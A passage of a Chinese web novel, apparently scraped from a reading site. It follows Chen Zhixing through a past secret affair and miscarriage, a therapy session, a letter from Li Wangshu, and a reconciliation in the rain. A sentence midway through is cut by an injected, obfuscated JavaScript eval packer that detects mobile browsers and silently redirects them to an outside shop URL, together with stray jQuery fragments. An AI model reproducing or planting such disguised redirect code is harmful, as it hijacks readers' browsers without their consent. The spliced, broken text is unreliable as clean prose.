那一年，特楼供暖锅炉检修停运。


    辰知星记得，那是晚上八点。


    她站在202室门外的阴影里。身上只裹着那件去参加联谊舞会的黑色露背礼服，大片裸露的皮肤暴露在零度的穿堂风里，冻呈现出一种病态的青紫色。


    顾臣戈拉开门。


    视线下移，落在满是灰尘的水泥地上——她没有穿鞋，十根脚趾因为寒冷而死死地蜷缩着，抠着地面。


    「……哥。」


    她没有喊疼，也没有喊冷。


    她只是侧过身，肩膀擦过他的胸口，强行从他手臂下那道狭窄的缝隙里，挤了进来。


    那是她唯一的动作——入侵。


    顾臣戈反手关上了门。


    锁舌弹出的声音，在死寂的房间里产生了一瞬的回响。


    那个晚上没有开灯。


    只有桌角的一根蜡烛，火苗摇曳，将两人的影子投射在斑驳掉皮的墙面上，扭曲，交叠。


    顾臣戈记得最清楚的，不是皮肤的触感，而是气味。


    「一轮玫瑰」。


    带有佩里戈尔黑松露的土腥气、红酒沉淀后的酸涩。在那个狭小逼仄的空间里，这股香气混合着她身上冷汗的酸味，被两人急剧升高的体温蒸腾到了极致。


    浓烈，潮湿，近乎腐烂。


    霸道地钻进他的鼻腔，让他缺氧，让他眩晕。


    她在他怀里剧烈地抖动。


    她的双手环过他的腰，死死地扣住他的后背。指甲隔着那件薄毛衣，深深地、毫不留情地掐进他的斜方肌里，直到甚至能感觉到指尖触碰到了骨头。


    顾臣戈低下头，嘴唇在那股浓郁的玫瑰味中寻找她的鬓角，吻去那些冰凉的汗水。


    他听到她在耳边，一遍又一遍，随着急促的喘息，从喉咙深处挤出那个破碎的音节：


    「……Ge……」


    是「哥」？还是「戈」？


    那个单音节混杂在布料摩擦声和心跳声中，模糊不清。


    顾臣戈分不出来。


    他只觉得心口发烫，收紧了手臂。


    但他没有看到。


    在这个被玫瑰香气腌入味的黑暗里，趴在他肩头的辰知星，睁着眼。


    她的瞳孔在黑暗中放大到极致，死死盯着天花板上那块发霉的、像人脸一样的水渍。


    她的牙齿切入下唇，咬穿了表皮，渗出一丝咸腥的铁锈味。她用这种疼痛，强行堵住了喉咙里那声即将冲口而出的悲鸣。


    ……


    凌晨三点。


    蜡烛燃尽，最后一缕青烟消散。


    窗外惨白的月光透过铁栅栏，在地板上切出一道道黑色的条纹，像铺在地上的牢笼。


    顾臣戈侧身躺着。


    借着月光，他看到了自己手臂上、肩膀上，那一道道触目惊心的抓痕和淤青，有的地方甚至渗出了血珠。


    他伸出手，想要去抚摸身边人的头发。


    指尖刚触碰到发丝的瞬间。


    辰知星的身体猛地弹了一下，整个人向床沿瑟缩过去，脊背重重地撞在冰冷的墙面上。


    「……知星？」他手悬在半空。


    没有回应。


    她背对着他，身体蜷缩成极小的一团，膝盖顶着下巴，双手抱住小腿。


    她闭着眼，睫毛湿漉漉的粘在一起。枕头上，那一头黑发之下，洇开了一大片深色的、冰凉的水痕。


    顾臣戈从背后抱住了她。他将她冰凉的手脚都裹进自己的怀里，下巴抵着她的后颈。


    「睡吧。没事了。」


    怀里的身体依然在细微地颤抖，僵硬得像一块石头。


    ……


    这种关系维持了四年。


    直到那个「意外」发生。


    当顾臣戈拿着那根显出两条红杠的验孕棒，声音颤抖地告诉她「我们有孩子了，我们可以去求姑父让我们结婚」的时候，辰知星坐在沙发上，正在喝水。


    听到这句话，她的手一松。


    玻璃杯砸在地板上，粉碎。


    她的反应不是笑，也不是哭。


    而是——干呕。


    她推开顾臣戈，冲进卫生间，双手抠着马桶边缘，吐得撕心裂肺，仿佛要把胃袋连同五脏六腑都吐出来。


    十分钟后。


    卫生间里传来「咚」的一声重物坠地的闷响。


    顾臣戈撞开门冲进去的时候。


    看到的是满地的冷水，和那一抹在地砖缝隙里缓缓扩散、极其刺眼的**鲜红**。


    辰知星跌坐在冰冷的瓷砖上，那是那一滩红色的源头。


    她浑身湿透，脸色惨白如纸，冷汗把头发黏在脸颊上。


    她抬起头，看向顾臣戈。


    那双眼睛里，竟然没有一丝痛苦，也没有一丝遗憾。


    在那片血泊之中，她那一直紧绷了四年的肩膀，极其缓慢地、彻底地松弛了下来。


    她的嘴角，甚至极其微弱地，向上牵动了一下。


    那是顾臣戈从未见过的平静。


    就像是一个服刑期满的囚徒，终于等来了那个盖着红章的……释放令。


    一间没有任何装饰画的心理诊所。


    辰知星躺在那张柯布西耶LC4躺椅上。黑色的皮革贴合着她脊背的曲线，让她整个人呈现出一种极其放松、甚至有些液态的姿态。


    她的手里没有把玩那枚象征家族权力的纪念币。


    只有一枚满是划痕、边缘甚至有些氧化的五角人民币硬币。


    那枚廉价的黄铜色硬币，在她修长、涂着裸色指甲油的指缝间灵活穿梭。


    硬币在指关节上翻滚、跳跃，发出有节奏的、机械的金属撞击声。


    频率极快，极稳。就像是一台精密运转的节拍器。


    她的对面，坐着一个穿着白色羊毛开衫、戴着无框金丝眼镜的年轻男人。他膝盖上摊着一本厚厚的速写本，手里的钢笔悬停在纸面上，笔尖没有落下。


    「医生……」


    「我的星图，完成了。」


    辰知星盯着天花板上那盏手术室级别的无影灯，眼神没有焦距，像是在视网膜上复盘一张巨大的工程蓝图。


    「叮。」


    她拇指发力，将那枚五角硬币高高弹起。


    黄铜硬币在冷白色的灯光下翻滚，划出一道银色的抛物线。


    辰知星没有看。她只是随意地抬手，掌心向上一合。


    「啪。」


    硬币落入掌心。


    她摊开手。正面朝上。


    「你看。」


    她看着掌心里的硬币，嘴角向两侧拉开，露出了一个标准的、造物主般的微笑：「所有残缺的、危险的变量，都被我嵌进了这个系统里。」


    「它自我修正，自我进化，逻辑闭环。」


    她合拢五指，握紧了那枚硬币。


    「我安全了。在这个系统里，没有任何『黑天鹅』能伤害到我。」


    诊室里陷入了长久的沉默。


    只有空调出风口的低频嗡鸣声。


    医生一直保持着那个倾听的姿势。他没有记录，没有点头，甚至连表情都没有一丝波动。


    直到辰知星说完最后一个词。


    他才缓缓地抬起手，推了推鼻梁上的眼镜架。


    「听起来很完美。」


    他开口了，声音温和，平稳，不带任何攻击性，却像是一把极其细小的探针，轻轻刺入了那个庞大系统的缝隙。


    「但是，在这个模型里……」


    医生合上了膝盖上的速写本，身体微微前倾，目光透过镜片，直视着辰知星的眼睛：


    「李望枢。」


    「他是什么？」


    「得——」


    辰知星指间那枚正在飞速翻滚的硬币，突然卡住了。


    它卡在食指和中指的指缝里，边缘勒进了皮肉，发出一声刺耳的摩擦音。


    「……他？」


    辰知星的眉头极轻微地蹙了一下，似乎没听懂这个问题。


    「他似乎没有任何功能。」


    医生并没有给她思考的时间，继续用那种分析财务报表般的口吻，冷静地拆解道：「他不能像顾臣戈一样，为你提供权力的背书。」


    「他不能像殷灿言一样，为你执行那些肮脏的计算。」


    「他甚至不能像你手下的交易员一样，为你赚取超额的Alpha收益。」


    医生顿了顿。


    他看着那个手指僵硬的女人，给出了最终的诊断：


    「在这个充满功利与算计的星图里……」


    「……他只是在那儿。」


    辰知星盯着天花板。


    那枚卡在指缝里的硬币，硌得她生疼。


    她在巨大的数据库里疯狂检索，试图给这个男人贴上一个合理的标签。


    「……他是……情绪稳定剂。」


    她吐出一个来自行为金融学的词汇。


    医生没有说话，只是静静地看着她。


    那个词太轻了，轻得压不住她此刻指尖的颤抖。


    「……他是……家族信托合伙人。」


    她又换了一个词。


    但这个词刚出口，就被她自己否决了。


    太交易，太冰冷，根本解释不了他在清华园陪她吹冷风的那个夜晚。


    辰知星的呼吸变得急促。


    她突然发现，在她这套可以解释宇宙、预测市场、操纵人心的完美算法里。


    李望枢是一串乱码。


    他无法被量化，无法被工具化，无法被放入资产负债表的任何一栏。


    「当。」


    那枚五角硬币，终于从她僵硬的指缝中滑落。


    它砸在硬木地板上，滚了两圈，倒下了。


    辰知星看着那枚静止的硬币。


    她终于承认了。


    那个男人，是对她整个无懈可击的系统而言，毫无用处、却又无法剔除的……


    致命Bug。


    医生叹了口气，从抽屉里拿出一封信：「这是望枢半年前放在我这儿的。他说，如果你有一天觉得自己终于完成了星图，就给你看。」


    【写这封信时，你就在我身旁，睡得正熟。我把台灯拧到了最暗，字迹或许会有些潦草。


    有些话，说出口总觉得轻，怕被风吹散了。写下来，或许能存得久一些。


    师姐总爱开玩笑，说我口才好，三言两语就说动她，把最宝贝的小堂妹托付给了我。


    她大概是故意忘了，为了让她相信我不是心血来潮，我给她引经据典聊了整整五个小时，把她原本想介绍给你的那些更年轻的师弟们，都给搅黄了。


    她更不知道，我第一次见你，其实不在北京，不在鼓楼那家咖啡馆。


    是在十二年前，你家乡的山上。


    那年我还在念本科，暑假跟着导师去调研，偏偏遇上了泥石流。雨下得像天漏了一样，周围乱成一团，所有人都很慌张。


    然后，我看见了你。


    那么小的一个女孩，穿着一条红裙子，浑身是泥。你没哭，也没躲，就那么直直地站在一块大石头上，对着山下的洪水，在你那个小小的本子上，不停地写写画画，像是要跟老天爷算一笔账。


    后来在北京的比赛上，你又穿着红裙子，站在台上，讲着一个台下没几个人能听懂的模型。在上海你学校的咖啡馆里，阳光很好，你还是条红裙子，在和同学争论问题，我没有过去打扰。


    你总是一身红衣……明媚，又不妖娆。


    我看着你，看着你把顾臣戈、殷灿言、乔珩，一个一个小心翼翼地放进你的计划里，就像十二年前的那个小女孩，把洪水冲出来的、亮晶晶的漂亮石头都捡起来，想自己搭一个家。


    所以当师姐说要给你介绍男朋友时，我只是告诉她，不用找了。


    刚在一起的时候，你睡得很不好，总做噩梦。我只好开着车，带你在深夜的二环路上一圈一圈地绕，让风灌进来，把你吹得累了，吹得忘了那些烦心事，吹到睡着。


    有一次我加班到很晚，你来单位接我，我们打车回家，你枕着我的腿就睡着了。睡得好沉，呼吸声像猫一直响，司机都给听乐了。有一缕头发垂下来，贴在你脸上，痒痒的。我抬起手，想帮你拨开，又怕惊醒你，手就那么悬在半空。


    你忽然咂了咂嘴，翻了个身，把脸埋得更深，然后……把口水，全蹭在了我的裤子上。


    司机从后视镜里看见了，憋着笑，肩膀一抖一抖的。我看着你，也忍不住想笑，却只能咬着牙忍住。黑暗里，车窗外的灯火一盏一盏地掠过，像流星，像金币暴雨。


    那一刻，我忽然觉得，就是你了。这辈子，就是这个人了。


    到家时，车刚停稳，你“咻”的一下就弹了起来，伸了个懒腰，两手一张，喊着：“到家咯~”，仿佛刚才那个流口水的小迷糊蛋根本不是你。


    不写了，怕光会吵醒你。只再多写一句。


    希望我的星星……


    别再掉眼泪了。】


    咨询室的门缓缓合拢，将那位心理医生和他关于「Bug」的诊断，关在了身后。


    辰知星站在那条铺着厚厚羊毛地毯的走廊里，右手依然死死地攥成拳头。


    那枚五角硬币被汗水浸得湿热，锯齿状的边缘深深地**嵌入**了掌心的嫩肉里，硌出了一圈泛白的印记。


    疼痛顺着神经末梢向上传递，但她没有松手。


    她盯着走廊尽头那扇通往外界的灰色防火门，深吸了一口带有消毒水气味的空气。


    她试图挺直脊背，试图调整下颌的角度，但她的膝盖关节，却在不受控制地打软。


    那条支撑着她走了三十年的脊梁，被抽走了。


    她推开防火门。


    东城的雨没有任何预兆地扑面而来，湿冷的雾气瞬间打湿了她的睫毛。


    台阶下。


    一辆黑色的奥迪停在路边，但车里是空的。


    李望枢没有坐在驾驶座上。


    他就站在防火门的屋檐下，背对着街道的雨幕。


    他穿着一件黑色的羊绒风衣，衣领立起。手里没有拿伞，也没有看手机。他双手插在口袋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921010|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里，视线落在虚空中的某一点，皮鞋的边缘已经溅上了一层泥点。


    听到开门声，他转过头。


    视线相撞。


    辰知星的喉咙动了动。


    那套早已刻入肌肉记忆的社交程序，下意识地启动了。她的嘴角向单侧勾起，声带收紧，准备抛出一句标志性的、带着京片子味的调侃——


    「哟，李大设计师，亲自站岗啊？」


    但嘴唇张开的瞬间。


    没有任何声音发出来。


    那块总是严丝合缝的面具，在这一秒出现了致命的机械故障。


    她的嘴角抽搐了一下，试图上扬，却无力地垂了下去。鼻腔里涌上一股无法抑制的酸涩，瞬间冲毁了所有的表情管理。


    眼眶周围的肌肉开始痉挛。


    紧接着，视线变得模糊。两行滚烫的液体，违背了她所有的意志，径直从眼眶里溢出，顺着那张苍白的脸颊，重重地砸在风衣的领口上。


    「啪嗒。」


    辰知星僵在原地，任由眼泪肆虐——看起来不像个女皇，而像个弄丢了所有积木的孩子。


    李望枢看着她。


    看着她脸上那两道在路灯下反光的、清晰的泪痕。


    他没有挑眉，没有张嘴询问，甚至连呼吸的节奏都没有乱。


    他只是把手从风衣口袋里抽出来。


    迈步，上前。


    他在她面前站定，挡住了身后那漫天的风雨。


    他抬起手。那只常年握着绘图笔、指关节处带着一层硬茧的手，贴上了她的脸颊。


    拇指指腹粗糙，却干燥、温暖。


    他极缓慢地、一下一下地，抹去了她脸颊上那片冰冷的湿意。指尖擦过皮肤，带来一阵真实的摩擦感。


    做完这一切，他的手顺势滑落，抓住了她那只还死死攥着硬币的、冰凉的手。


    用力一捏。


    辰知星吃痛，手指被迫松开。


    那枚五角硬币掉落在地，「叮」的一声，滚进了路边的排水沟里。


    李望枢看都没看那枚硬币一眼。


    他的手指挤入她的指缝，十指扣紧。


    掌心的热度源源不断地传递过去，将她那只颤抖的手，牢牢地锁在自己的掌心里。


    牵着她，转身，走向那辆车。


    厚重的奥迪车门关闭，将凄厉的冷雨，彻底隔绝在外。


    车厢内，暖气开得很足。空气中弥漫着真皮座椅的味道，和一点点淡淡的、属于李望枢身上的雪松木香。


    世界安静得只剩下雨刮器摆动的单调声响。


    辰知星靠在副驾驶的椅背上。


    她侧过头，看着驾驶座上的李望枢。


    他没有问她医生说了什么。没有问她为什么哭。


    他只是伸手，调整了一下出风口的角度，让暖风避开她刚刚哭过的、有些发红的眼睛。


    然后，挂挡，起步。


    车身平稳地滑入雨夜的车流中。


    「……老李。」


    辰知星看着他的侧脸忽然开口，声音还带着一丝鼻音。


    李望枢目视前方，稳稳地扶着方向盘：「嗯？」


    「医生说，我的系统里有个Bug。」


    辰知星伸出手，在充满雾气的车窗玻璃上，无意识地画着乱七八糟的线条：「他说这个Bug没有任何用处，既不能帮我赚钱，也不能帮我平事。他只是……赖在那儿不走。」


    「他是多余的。」


    李望枢打转向灯的手指顿了一下。


    车子在红灯前缓缓停下，刹车片发出极轻微的摩擦声。


    李望枢松开方向盘，侧过身。


    昏暗的路灯光线穿过沾满雨水的车窗，在他的金丝镜片上折射出一片模糊的光晕。


    他没有眨眼，视线穿透那层冷光，稳稳地落在辰知星的脸上。那目光里没有任何被质疑后的恼怒，只有一种能够承托住一切崩塌的静谧。


    「庸医。」


    他给出了两个字的评价，语调平直，像是在指出图纸上的一处低级错误。


    辰知星还在那两个字的余音里发怔，甚至忘了眨眼。


    李望枢伸出手。


    他没有去握她冰冷的手指，而是极其自然地，将手探进了她风衣右侧的口袋。


    那是她习惯放糖的地方。


    指尖触碰到一层蜡纸。


    窸窸窣窣的轻响过后，两根修长的手指夹出了一颗圆柱形的糖果——那是上次叶明熙硬塞进她口袋里的大白兔奶糖，糖纸的边缘已经被揉得有些卷翘。


    李望枢两指一错，扭开了那层红白蓝三色的蜡纸。


    一股廉价却浓郁的奶精甜味，瞬间在充满皮革味的豪华车厢里弥漫开来。


    他捏着那颗乳白色的硬糖，递到了辰知星紧抿的唇边。


    「系统是为了运行而存在的。」


    他的指腹擦过她干燥起皮的下唇，粗糙的触感逼迫她微微张开了嘴。


    「但Bug……」


    他看着那颗白色的糖块消失在她红色的唇齿之间，看着她原本因为紧张而咬紧的咬肌，终于一点点松弛下来。


    李望枢的眼角弯了一下。


    那不是温和的安抚，而是一个建筑师在废墟中发现了某种结构美学时，那种带着一点点狡黠与笃定的笑意。


    「……是为了证明，这个系统还是活的。」


    他收回手，指尖上还残留着一点点属于她的温度和糖果的甜腻。


    「没有Bug的系统，那叫死程序。」


    辰知星含着那颗坚硬的糖。


    糖块抵着上颚，慢慢融化。浓郁、甚至有些发腻的奶香味在舌尖炸开，强行覆盖了喉咙里那股残留的、眼泪的咸腥味。


    她咀嚼着那颗糖，视线落在眼前这个男人的脸上。


    车窗外，冷雨将整个东三环冲刷得面目全非，所有的高楼、霓虹、行人都融化成了扭曲的光斑。


    只有他。


    只有这个握着方向盘、帮她剥糖纸的男人，轮廓清晰，线条坚硬。


    在那些关于权力置换、关于阶级跃迁的宏大蓝图里，他确实占据不了任何一个像素。


    但在这一刻。


    他是唯一的司机，唯一的底座，也是她这台即将因为过载而烧毁的精密机器里，唯一一个能让她感知到痛觉与味觉的……


    故障点。


    绿灯亮了。


    李望枢重新发动了车子。


    「回哪儿？」他问。


    辰知星转过头，闭上眼，将头靠向李望枢那一侧的椅背，声音慵懒，却透着一种前所未有的笃定。


    「咱们回家！」


    李望枢握着方向盘的手，微微收紧了一瞬。


    随后，他轻笑了一声。


    「好。」


    黑色的奥迪加速，劈开漫天的风雨，驶向了只属于他们的、不再需要任何算法去定义的……


    家。


    「月亮是我杀的，玫瑰是我偷的，所有的情话都是假的，唯一颗爱你的心是干净的。」


    ——捞女基本法。